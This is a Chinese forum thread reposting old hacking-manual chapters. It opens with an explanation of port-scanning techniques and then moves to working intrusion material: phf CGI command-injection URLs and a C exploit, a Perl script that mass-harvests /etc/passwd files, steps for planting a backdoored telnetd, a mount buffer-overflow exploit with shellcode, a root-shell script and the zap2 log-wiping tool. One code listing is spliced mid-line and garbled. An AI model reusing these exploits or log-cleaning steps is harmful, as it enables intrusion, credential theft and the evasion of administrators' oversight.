查看完整版本: [-- 技术文集(推荐)   --]

-> 学习资料下载区 -> 技术文集(推荐)   [打印本页] 登录 -> 注册 -> 回复主题 -> 发表主题

<<  1   2   3   4   5   6  >>  Pages: ( 6 total )

一光年的距离 2009-04-23 17:47

技术文集(推荐)  

端口扫描分析(二)端口扫描途径

Oliver

二。 端口扫描途径
什么是扫描器
  扫描器是一种自动检测远程或本地主机安全性弱点的程序,通过使用扫描器你可一不留痕迹的发现远程服务器的各种TCP端口的分配及提供的服务和它们的软件版本!这就能让我们间接的或直观的了解到远程主机所存在的安全问题。

工作原理
  扫描器通过选用远程TCP/IP不同的端口的服务,并记录目标给予的回答,通过这种方法,可以搜集到很多关于目标主机的各种有用的信息(比如:是否能用匿名登陆!是否有可写的FTP目录,是否能用TELNET,HTTPD是用ROOT还是nobady在跑!)

扫描器能干什么?
  扫描器并不是一个直接的攻击网络漏洞的程序,它仅仅能帮助我们发现目标机的某些内在的弱点。一个好的扫描器能对它得到的数据进行分析,帮助我们查找目标主机的漏洞。但它不会提供进入一个系统的详细步骤。
  扫描器应该有三项功能:发现一个主机或网络的能力;一旦发现一台主机,有发现什么服务正运行在这台主机上的能力;通过测试这些服务,发现漏洞的能力。
  编写扫描器程序必须要很多TCP/IP程序编写和C, Perl和或SHELL语言的知识。需要一些Socket编程的背景,一种在开发客户/服务应用程序的方法。开发一个扫描器是一个雄心勃勃的项目,通常能使程序员感到很满意。
  下面对常用的端口扫描技术做一个介绍。
TCP connect() 扫描
  这是最基本的TCP扫描。操作系统提供的connect()系统调用,用来与每一个感兴趣的目标计算机的端口进行连接。如果端口处于侦听状态,那么connect()就能成功。否则,这个端口是不能用的,即没有提供服务。这个技术的一个最大的优点是,你不需要任何权限。系统中的任何用户都有权利使用这个调用。另一个好处就是速度。如果对每个目标端口以线性的方式,使用单独的connect()调用,那么将会花费相当长的时间,你可以通过同时打开多个套接字,从而加速扫描。使用非阻塞I/O允许你设置一个低的时间用尽周期,同时观察多个套接字。但这种方法的缺点是很容易被发觉,并且被过滤掉。目标计算机的logs文件会显示一连串的连接和连接是出错的服务消息,并且能很快的使它关闭。

TCP SYN扫描
  这种技术通常认为是“半开放”扫描,这是因为扫描程序不必要打开一个完全的TCP连接。扫描程序发送的是一个SYN数据包,好象准备打开一个实际的连接并等待反应一样(参考TCP的三次握手建立一个TCP连接的过程)。一个SYN|ACK的返回信息表示端口处于侦听状态。一个RST返回,表示端口没有处于侦听态。如果收到一个SYN|ACK,则扫描程序必须再发送一个RST信号,来关闭这个连接过程。这种扫描技术的优点在于一般不会在目标计算机上留下记录。但这种方法的一个缺点是,必须要有root权限才能建立自己的SYN数据包。

TCP FIN 扫描
  有的时候有可能SYN扫描都不够秘密。一些防火墙和包过滤器会对一些指定的端口进行监视,有的程序能检测到这些扫描。相反,FIN数据包可能会没有任何麻烦的通过。这种扫描方法的思想是关闭的端口会用适当的RST来回复FIN数据包。另一方面,打开的端口会忽略对FIN数据包的回复。这种方法和系统的实现有一定的关系。有的系统不管端口是否打开,都回复RST,这样,这种扫描方法就不适用了。并且这种方法在区分Unix和NT时,是十分有用的。

IP段扫描
  这种不能算是新方法,只是其它技术的变化。它并不是直接发送TCP探测数据包,是将数据包分成两个较小的IP段。这样就将一个TCP头分成好几个数据包,从而过滤器就很难探测到。但必须小心。一些程序在处理这些小数据包时会有些麻烦。

TCP 反向 ident扫描
  ident 协议允许(rfc1413)看到通过TCP连接的任何进程的拥有者的用户名,即使这个连接不是由这个进程开始的。因此你能,举个例子,连接到http端口,然后用identd来发现服务器是否正在以root权限运行。这种方法只能在和目标端口建立了一个完整的TCP连接后才能看到。

FTP 返回攻击
  FTP协议的一个有趣的特点是它支持代理(proxy)FTP连接。即入侵者可以从自己的计算机a.com和目标主机target.com的FTP server-PI(协议解释器)连接,建立一个控制通信连接。然后,请求这个server-PI激活一个有效的server-DTP(数据传输进程)来给Internet上任何地方发送文件。对于一个User-DTP,这是个推测,尽管RFC明确地定义请求一个服务器发送文件到另一个服务器是可以的。但现在这个方法好象不行了。这个协议的缺点是“能用来发送不能跟踪的邮件和新闻,给许多服务器造成打击,用尽磁盘,企图越过防火墙”。
  我们利用这个的目的是从一个代理的FTP服务器来扫描TCP端口。这样,你能在一个防火墙后面连接到一个FTP服务器,然后扫描端口(这些原来有可能被阻塞)。如果FTP服务器允许从一个目录读写数据,你就能发送任意的数据到发现的打开的端口。
  对于端口扫描,这个技术是使用PORT命令来表示被动的User DTP正在目标计算机上的某个端口侦听。然后入侵者试图用LIST命令列出当前目录,结果通过Server-DTP发送出去。如果目标主机正在某个端口侦听,传输就会成功(产生一个150或226的回应)。否则,会出现"425 Can't build data connection: Connection refused."。然后,使用另一个PORT命令,尝试目标计算机上的下一个端口。这种方法的优点很明显,难以跟踪,能穿过防火墙。主要缺点是速度很慢,有的FTP服务器最终能得到一些线索,关闭代理功能。

这种方法能成功的情景:
220 xxxxxxx.com FTP server (Version wu-2.4(3) Wed Dec 14 ...) ready.
220 xxx.xxx.xxx.edu FTP server ready.
220 xx.Telcom.xxxx.EDU FTP server (Version wu-2.4(3) Tue Jun 11 ...) ready.
220 lem FTP server (SunOS 4.1) ready.
220 xxx.xxx.es FTP server (Version wu-2.4(11) Sat Apr 27 ...) ready.
220 elios FTP server (SunOS 4.1) ready

这种方法不能成功的情景:
220 wcarchive.cdrom.com FTP server (Version DG-2.0.39 Sun May 4 ...) ready.
220 xxx.xx.xxxxx.EDU Version wu-2.4.2-academ[BETA-12](1) Fri Feb 7
220 ftp Microsoft FTP Service (Version 3.0).
220 xxx FTP server (Version wu-2.4.2-academ[BETA-11](1) Tue Sep 3 ...) ready.
220 xxx.unc.edu FTP server (Version wu-2.4.2-academ[BETA-13](6) ...) ready.

UDP ICMP端口不能到达扫描
  这种方法与上面几种方法的不同之处在于使用的是UDP协议。由于这个协议很简单,所以扫描变得相对比较困难。这是由于打开的端口对扫描探测并不发送一个确认,关闭的端口也并不需要发送一个错误数据包。幸运的是,许多主机在你向一个未打开的UDP端口发送一个数据包时,会返回一个ICMP_PORT_UNREACH错误。这样你就能发现哪个端口是关闭的。UDP和ICMP错误都不保证能到达,因此这种扫描器必须还实现在一个包看上去是丢失的时候能重新传输。这种扫描方法是很慢的,因为RFC对ICMP错误消息的产生速率做了规定。同样,这种扫描方法需要具有root权限。

UDP recvfrom()和write() 扫描
  当非root用户不能直接读到端口不能到达错误时,Linux能间接地在它们到达时通知用户。比如,对一个关闭的端口的第二个write()调用将失败。在非阻塞的UDP套接字上调用recvfrom()时,如果ICMP出错还没有到达时回返回EAGAIN-重试。如果ICMP到达时,返回ECONNREFUSED-连接被拒绝。这就是用来查看端口是否打开的技术。

ICMP echo扫描
  这并不是真正意义上的扫描。但有时通过ping,在判断在一个网络上主机是否开机时非常有用。

一光年的距离 2009-04-23 17:47
端口扫描分析(三)一个简单的扫描程序

Oliver

  下面是一个端口扫描器的源程序,功能相当的简单,一个典型的TCP connect()扫描。没有对返回的数据进行分析。
#include <stdio.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <netdb.h>
#include <signal.h>

int main(int argc, char **argv)
{
int probeport = 0;
struct hostent *host;
int err, i, net;
struct sockaddr_in sa;

if (argc != 2) {
printf("用法: %s hostname\n", argv[0]);
exit(1);
}

for (i = 1; i < 1024; i++) { //这里有点不是很好,可以将主机地址放在循环外
strncpy((char *)&sa, "", sizeof sa);
sa.sin_family = AF_INET;
if (isdigit(*argv[1]))
sa.sin_addr.s_addr = inet_addr(argv[1]);
else if ((host = gethostbyname(argv[1])) != 0)
strncpy((char *)&sa.sin_addr, (char *)host->h_addr, sizeof sa.sin_addr);
else {
herror(argv[1]);
exit(2);
}
sa.sin_port = htons(i);
net = socket(AF_INET, SOCK_STREAM, 0);
if (net < 0) {
perror("\nsocket");
exit(2);
}
err = connect(net, (struct sockaddr *) &sa, sizeof sa);
if (err < 0) {
printf("%s %-5d %s\r", argv[1], i, strerror(errno));
fflush(stdout);
} else {
printf("%s %-5d accepted. \n", argv[1], i);
if (shutdown(net, 2) < 0) {
perror("\nshutdown");
exit(2);
}
}
close(net);
}
printf(" \r");
fflush(stdout);
return (0);
}
下面这个又是一个端口器:
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include "netdb.h"
struct hostent *gethostbyaddr();
void bad_addr();
main(argc, argv)
int argc;
char *argv[];
{
char addr[4];
int i, j,
a0, a1, a2, a3,
c,
classB, classC, single, hex;
char *fmt = "%d.%d.%d";
char **ptr;
struct hostent *host;
extern char *optarg;
classB = classC = single = hex = 0;
while((c = getopt(argc,argv,"bcsx")) != EOF) {
switch(c) {
case 'b':
classB++;
break;
case 'c':
classC++;
break;
case 's':
single++;
break;
case 'x':
hex++;
break;
}
}
if(classB == 0 && classC == 0 && single == 0) {
fprintf(stderr, "usage: %s [-b||-c||-s] [-x] xxx.xxx[.xxx[.xxx]]\n", argv[0]);
exit(1);
}
if(classB)
if(hex) {
fmt = "%x.%x";
sscanf(argv[3], fmt, &a0, &a1);
} else {
fmt = "%d.%d";
sscanf(argv[2], fmt, &a0, &a1);
}
else if(classC)
if(hex) {
fmt = "%x.%x.%x";
sscanf(argv[3], fmt, &a0, &a1, &a2);
} else {
fmt = "%d.%d.%d";
sscanf(argv[2], fmt, &a0, &a1, &a2);
}
else if(single)
if(hex) {
fmt = "%x.%x.%x.%x";
sscanf(argv[3], fmt, &a0, &a1, &a2, &a3);
} else {
fmt = "%d.%d.%d.%d";
sscanf(argv[2], fmt, &a0, &a1, &a2, &a3);
}
sscanf(argv[1], fmt, &a0, &a1, &a2);
addr[0] = (unsigned char)a0;
addr[1] = (unsigned char)a1;
if(a0>255||a0<0)
bad_addr(a0);
if(a1>255||a1<0)
bad_addr(a1);
if(classB) {
if(hex)
printf("Converting address from hex. (%x.%x)\n", a0, a1);
printf("Scanning Class B network %d.%d...\n", a0, a1);
while(j!=256) {
a2=j;
addr[2] = (unsigned char)a2;
jmpC:
if(classC)
if(hex)
printf("Converting address from hex. (%x.%x.%x)\n", a0, a1, a2);
printf("Scanning Class C network %d.%d.%d...\n", a0, a1, a2);
while(i!=256) {
a3=i;
addr[3] = (unsigned char)a3;
jmpS:
if ((host = gethostbyaddr(addr, 4, AF_INET)) != NULL) {
printf("%d.%d.%d.%d => %s\n", a0, a1, a2, a3, host->h_name);
ptr = host->h_aliases;
while (*ptr != NULL) {
printf("%d.%d.%d.%d => %s (alias)\n", a0, a1, a2, a3, *ptr);
ptr++;
}
}
if(single)
exit(0);
i++;
}
if(classC)
exit(0);
j++;
}
} else if(classC) {
addr[2] = (unsigned char)a2;
if(a2>255||a2<0)
bad_addr(a2);
goto jmpC;
} else if(single) {
addr[2] = (unsigned char)a2;
addr[3] = (unsigned char)a3;
if(a2>255||a2<0)
bad_addr(a2);
if(a3>255||a3<0)
bad_addr(a3);
goto jmpS;
}
exit(0);
}
void
bad_addr(addr)
int *addr;
{
printf("Value %d is not valid.\n", addr);
exit(0);
}

一光年的距离 2009-04-23 17:47
获取passwd密码档

目录:
PHF:WWW的PH查询
PHF查询攻击新方法
从新手处获取
获取shadow密码档
获取/etc/hosts档

本文列举了几种从UNIX系统获取密码档的方法。其中大多数方法要求你拥有一个有效帐号;但也有不需帐号也可访问系统的方法。在这里你还能知道完整的密码档与shadow密码档的区别,并学习到如何读取shadow密码档。
--------------------------------------------------------------------------------

PHF:WWW的PH查询

如果在WWW的cgi-bin的目录下有一个名为phf的可执行(具有x权限)程序,那么你就可以通过WWW或LINUX的文本浏览器lynx访问它。该功能允许你读取系统上的文件,如/etc/passwd等,并保存在本地机上。

以下是我们所需要做的。如果httpd服务器是由root根用户运行的,通过使用phf,我们可以成为该服务器的root用户;甚至修改服务器上某个用户的密码。

这里有一个perl脚本,它对使用上一章中的getdomain.pl脚本所得到的结果进行检测,并检查运行服务器的用户。如果是root用户,它就记录其id;如果不是root用户,则会自动从/etc目录下读取passwd档,并保存为domain.???.passwd文件。

我还会给出另一个脚本,它允许你从一个shell中运行一条命令。只要该系统有phf,你就可以在shell中输入一命令行,通过管道命令传送到远程系统上执行。

OK。现在你该知道下一步是什么了?让我们来学习如何利用phf。

把你最喜爱的web浏览器或是UNIX系统中经常使用的lynx文本浏览器连接到网络上。

在浏览器窗口或屏幕出现后,键入g(译者注:即使用浏览器的“go”功能)。便会出现以下内容(译者注:以lynx为例):

URL to open:
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

在URL to open: 处输入:http://xxx.org/cgi-bin/phf/?Qalias=x%0aid

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

返回如下内容:

QUERY RESULTS

/usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)

以上内容表明:运行服务器的用户是nobody。因此,我们便成为了该服务器的nobody用户。虽然我们还不是root用户,但必将是。 ;-)

命令行:

http://afp.org/cgi-bin/phf/?Qalias=x%0aid

id是一个命令,它要求服务器返回用户的id。有时我们需要给出全路径,比如:http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id

注意%0a后面是命令行内容。如果你想输入一个空格符,就要用%20代替,以下是经常要用到的几个命令行:(以%0a开始)

显示passwd密码档:
%0a/bin/cat%20/etc/passwd

获取/etc目录下所有以pass开始的详细文件列表:
%0als%20-al%20/etc/pass*

如果你有访问http的root用户权限,备份passwd文件为passwd.my文件:
%0acp%20/etc/passwd%20/etc/passwd.my

更改root用户密码(服务器往往会允许你这样做 ;-) ):
%0apasswd%20root

(以上命令可以让你在以root用户登录时不需输入密码,(译者注:也就是更改root用户的密码为空,然后再telnet该主机。)别忘了将passwd.my恢复为passwd(译者注:恢复root用户的旧密码),删除备份文件,然后你就可以运行一个合适的shell,并将其隐藏起来作为嗅探器(sniffer)来获取所需的密码了。)

只要你知道如何在UNIX中输入命令,同时没有忘记使用%20来代替空格符,你就不会遇到什么困难!

OK。现在让我们来获取本例中的passwd档吧。;-)

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd

我们将会看到:


QUERY RESULTS



/usr/local/bin/ph -m alias=x cat /etc/passwd

root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash

(一个小小的密码档 ;-) )

如果你希望保存这个文件,只要在文本浏览器中选择“打印”和“保存
为文件”即可。

现在让我们了解一下paaswd档的结构:

mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1 :2 :3 :4 :5 :6 :7

1=用户名 2=被加密的密码 3=用户标识 4=用户组id 5=真实名字 6=用户根目录 7=shell

好。假设你不想使用WWW浏览器,编译并执行以下脚本也可以达到目的:

phf.c
------ cut here----

/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also,
* this saves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with average network load. Be patient.
*
*/

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;

if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
}

command = (char *)malloc(strlen(argv[1]) * 2);

while (argv[1] != '\0') {
if (argv[1] == 32) strcat(command, "%20"); else {
sprintf(j, "%c", argv[1]);
strcat(command, j);
}
++i;
}

strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]); else port = 80;

if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
he = gethostbyname(hostname);
if (he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} else {
fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);

if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "%s: could not get socket\n", argv[0]);
exit(1);
}

if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "%s: could not establish connection\n", argv[0]);
exit(1);
}

sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
free(command);
write(s, exploit, strlen(exploit));
while(bytes == 128) {
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}
close(s);
}

-------- cut here

使用举例:

bash% phf id xxx.org

------
<H1>Query Results</H1>
<P>
/usr/local/bin/ph -m alias=X
id
<PRE>
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
</GET /cgi-bin/phf/?Qalias=X%0aid
------

以上是系统对程序的响应。再说一次,使用%20代替命令行中的空格符。
使用如下格式可显示passwd档:

phf cat%20/etc/passwd hostname.xxx

另外,Quantumg在他的主页上提供了利用phf的新方法,我觉得有必要让大家了解一下。

内容如下:

Phf 查询攻击新方法

是的。我知道phf攻击已经是众所周知了,但你会奇怪为什么还有那么多笨的LINUX用户。。。

首先...先介绍一下背景:

phf是Apache上WWW服务器的cgi-bin命令。它存在缺陷,其后果是允许任何人以运行http服务器用户的身份执行命令。通常该用户是nobody,但有时是root。要利用这一缺陷,只需简单地连接了该WEB服务器,并执行以下查询:

GET /cgi-bin/phf/?Qalias=X%0a

其后跟着你所希望运行的命令(用%20代替空格符)。

OK。以下是攻击方法。我们所要做的就是寻找存在phf漏洞的LINUX服务器。(我经常telnet到issue.net查找。)和大多数人一样,我使用Loxsmith编写的phf程序该程序要求把目标主机名放在第二个参数,而所要执行的命令放在第一个参数:

phf id www.host.to.hack

这里id就是所要执行的命令,这往往是我第一步都会做的。因为它不仅告诉你此系统是不存在此漏洞,还可以提供httpd用户的信息。因此,如果我们得到一个理想的响应,那就意味它就是我们的目标了。第一件事是获取目标主机上的有用资料,这并不是一件难事。你可以 (1)、检查是否有可读写的ftp目录;(2)使用rcp(这是我最喜欢用的)。为了使用这个命令,你需要对本地主机进行设置。(如果本地主机是你hack过的,那就好办多了。)首先是获得有效的用户帐号,名字应该简单而不易被注意(如:test);其次,把目标主机名写入本地主机的/etc/host.equiv中;接着就是在/etc/inetd.conf中必须有shell行;最后,在用户(test)根目录下建立含有目标主机名和httpd用户的.rhost文件。如下:

/etc/hosts.equiv:
www.host.to.hack

/etc/inetd.conf:
shell stream tcp nowait root /usr/sbin/tcpd in.rshd -L

~test/.rhosts:
www.host.to.hack nobody

好。一旦一切都设置好了,便可以从远程主机上获取资料了。

我以前采用的hack方法,都是将经过多次修改的小hack代码传送给phf执行。这并是一件轻松的事情,而且效率也不高。现在我找到了一个更好的解决办法被传送的是一个经过修改的in.telnetd,它被改为在“debug”方式下启动,“debug”方式将允许从端口9999登录,而且执行的shell是/bin/sh,而不是/bin/login。该in.telnetd允许在端口9999接受任意多的连接和执行shell。

因而,为了使远程主机做到这一点,所要做的就是将其放入用户根目录,
并确保可读。然后执行:

phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack

在本地日志文件中,你会看到一个与in.rshd的连接和它所执行的命令(如:rcp -fbindwarez)...当phf执行完后,bindwarez会被复制到远程主机上的/tmp目录下,于是你便可以执行这个文件并远程登录到端口9999。

如果这个网站的用户笨到以root运行http,你就可以通过安装一个in.telnetd特洛木马并清除日志,以获得root用户的密码。然而,在大多数情况下,你只能获得nobody权限,需要通过系统的其它漏洞去“黑”root用户。我常常发现这并不困难,因为系统管理员往往认为没有人会在WWW服务器上运行shell,因而没有必要设置安全系统。很显示,他们并不了解自己的系统是否存在phf缺陷。

在这里,我不必再次强调清除日志的重要性。你在rcp命令中输入的地址是可以让系统管理员轻易发现的。这些日志通常在/usr/local/etc/httpd/logs或/var/lib/http/logs下。
最简单的方法是在这些路径上查找它。如果找不到,可以执行find / -name cgi-bin。
另外,不要忘记清除indwarez进程和删除/tmp/bindwarez文件。


这个非常巧妙的攻击方法让phf做你想做的事,而phf对此却无可奈何。 ;-))

L8s

QuantumG


另一个利用phf的方法就是执行以下脚本。它使用了从rs.internic.net下载并用
getdomain.pl分析出的域名文件。geturl.pl脚本可以探测网络上的每一台domain。

脚本内容如下:

geturl.pl
--------- cut here

#!/usr/bin/perl -w
#
# geturl by Nfin8 / Invisible Evil
# Questions to: /msg i-e or /msg i^e
#
# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/usr/bin/id
# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
# IF result of first command returns an "id=" then check for user. If user
# is not root then execute the 2nd form.

# Assign null list to @URLs which will be added to later.
my(@URLs)=();
my($program) = "lynx -dump";

# Pull off filename from commandline. If it isn't defined, then assign default.
my($URLfilename) = shift;
$URLfilename = "urls" if !defined($URLfilename);

# Do checking on input.
die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);

# Open and read contents of URL file into @URL by line.
open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
@URLs = <FILE>;
close(FILE);

# Open output file.
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");

my($url)="";
foreach $url (@URLs) {
print ("Now checking: $url");
chomp($url);
$result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/usr/bin/id`;
print OUTFILE ("\n============ $url ============\n");
foreach (split(/\n/, $result)) {
print OUTFILE ("$_\n");
}
if ($result =~ m/id=/i) {
if ($result =~ m/root/i) {
print ("Logging root response.\n");
} else {
print ("Got ID response, getting /etc/passwd...");
$result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd`;

# Output results to file named <domain>.passwd;
local($domainfilename)="";
$domainfilename = $url;
if (open(PASSWDFILE, ">${domainfilename}.passwd")) {
print PASSWDFILE ("\n");
foreach (split(/\n/, $result)) {
print PASSWDFILE ("$_\n");
}
close(PASSWDFILE);
print ("Done! [$domainfilename].\n");
} else {
print ("FAILED! [$domainfilename].\n");
}
}
}
}

# We are done. Close the output file and end the program.
close (OUTFILE);


0;

一光年的距离 2009-04-23 17:48
获取root帐户

目录:

Bugs(一些漏洞)

Exploits(利用漏洞)
--------------------------------------------------------------------------------

如我前面所说的,大多数情况下,你仅仅需要一个帐号就行了,如果你得不到系统的root,你可能会用它来和IRC迷换取其它帐号或一些对你hacking有帮助的信息.本章有足够的帮助信息让你即使你得不到root帐户,也可留着系统以后再用.你可以把帐号先放一边,把有关信息记录在一些log文档中,并做好备忘录以便以后当有新的可利用漏洞被发现时你可以回忆起来:)

在你确信不会有失去帐号的危险之前不要轻易进入系统。记住:当你用一个帐号Login而又没拿到root时,你就无法清除日志文档(logs),这样该用户下次login时,就会看到这样的信息:

last login from xxx.com time:0:00 date:xx/xx/xx
--------------------------------------------------------------------------------

Bugs(一些漏洞)

不同的程序里都有很多Bug可利用来取得root权限.Bug可能是安装在系统上的一个游戏,或者甚至是sendmail程序.如果他们没有定期升级程序,你可以确信肯定可以入侵(即使现在不行,也是很快就行).

我会在此提供一些主要的Exploit(这个词动词是"利用、使用、开发"的意思",名词其实和bug意思差不多:译注)和Bugs,其它不大常用的则在附录里介绍.我会给你详细的英文条款,让你能取得系统的root权限.但请务必在行动之前先完整阅读完下节和本手册,以确定你以正确方式开始,并且不会搞得在系统里呆得太久.
--------------------------------------------------------------------------------

Exploits(利用漏洞)

Umount/mount Exploit

在/bin目录下寻找名为Umount(或mount)的文件,如果你找不到,用下面的命令搜索:

find / -name umount -print -dev

(你可用同样的方式寻找任何文件)

进入该文件所在目录并且:ls -al um*

如果文件有SUID"s"标志,你就可能拿到root.

SUID "s"使文件属主(这里是root)有rws权限。你要寻找的就是这个"s".

看这儿:

victim:/bin# ls -al um*

-rwsr-sr-x   1 root         8888 Mar 21  1995 umount

victim:/bin#

 

通过编译下面的文件我们就可以拿到此机器的root.

umount.c
------ cut here

/* sno.c : Linux realpath exploit
 * Syntax: ./sno N
 *         mount $WOOT
 *    OR  umount $WOOT
 * N is some number which seems to differ between 4 & 8, if your number is
 * too big, you will get a mount error, if it is too small, it will seg
 * fault.  Figure it out.  (Sometimes N=0 for mount)
 * If you use mount, first thing to do once you get the root shell is rm
 * /etc/mtab~, if this file exists you can't root with mount until it is
 * removed.
 *
 *
 *                                          -ReDragon
 */
#define SIZE 1024

   long get_esp(void)
   {
   __asm__("movl %esp,%eax\n");
   }

   main(int argc, char **argv)
   {
   char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */
   int a,r;
   char *ptr;
   long *addr_ptr;
   char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
   char *exec_ptr = execshell;

   r=atoi(argv[1]);
   ptr = env;
   memcpy(ptr,"WOOT=",5); /* set environment variable to use */
   ptr += 5;

   for(a=0;a<SIZE+4-strlen(execshell)-r;a++)  /* pad front with NOPs */
      *(ptr++) = 0x90;
   while (*exec_ptr)
      *(ptr++) = *(exec_ptr++);
   addr_ptr = (long *)ptr;
   *(addr_ptr++) = get_esp()+1139;  /* 0xbffffc01 */

   ptr = (char *) addr_ptr;
   *ptr = 0; /* must end with null byte to terminate string */
   putenv(env);
   system("/bin/mount $WOOT");
}

----------- cut he_leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
cd /tmp
sh
------------ cut here


用chmod为文档加上运行权限(+x):

chmod +x sm.sh

然后:

1.运行此文件

2.它把你带到/tmp目录中

3.输入ls -al 看在那里是否有SUID sh 文件。如果有,用whoami看自己是否是root,如果是的话,就运行./sh文件,这回你可看一看你是不是root了;)

我会在附录里放更多的脚本程序,但目前这是取得linux和BSD上的root权限的最好方法。如果你需要其它的BSD里的exploit(可利用漏洞),可试一试附录里的crontab exploit for BSD.

                                                                  

一光年的距离 2009-04-23 17:48
隐藏自己

目录:
Zap2 程序
其它脚本程序

隐藏自己的关键是你要不断的学习了解新的系统知识。如果你做了很苯的事情,比如有一次忘了清除你的utmp、wtmp日志或传送记录等等,你可能就会丧失再次访问这个系统的机会。你自己应该制定一个计划去学习每个操作系统!
尽可能的去熟悉系统,如果你同时学习几个系统,你应该做好笔记。记住你应该养成一个习惯,你是否养成清除你登录、传送文档的记录的习惯?千万不要忘记清除记录否则你可能会丧失对系统的访问权并面对一系列的指控。
--------------------------------------------------------------------------------

Zap2 (清除 wtmp/lastlog/utmp记录)

网络上有很多不同的日志清除程序,其中最好的是zap2。我编译后称为z2 在你获得root的访问权后立即运行z2这个程序。现在你比刚才就安全多了。现在再用"w"或"who"命令来查看一下,你已静换岜籾tmp记录了。如果你要使用 ftp或其它的一些命令你可能就会用到我在本章中提供的另外两个程序 wted 和 lled。
我们先来完成z2这个程序。你必须了解每个文件在你入侵的系统中的位置以便修改z2.c,使其包含这些文件的正确路径。
下面是在文件头部的需要你修改的部分。
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
在有些系统中应该是:
#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"

但你应该自己查看一下这些文件存放在你要入侵的系统的什么位置。/var/log目录也是很可能的一个路径。修改好正确的文件路径后,编译这个文件,现在你登录之后运行z2,你就已比较安全了。
这里是c程序:
z2.c
--------------------------- cut here
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
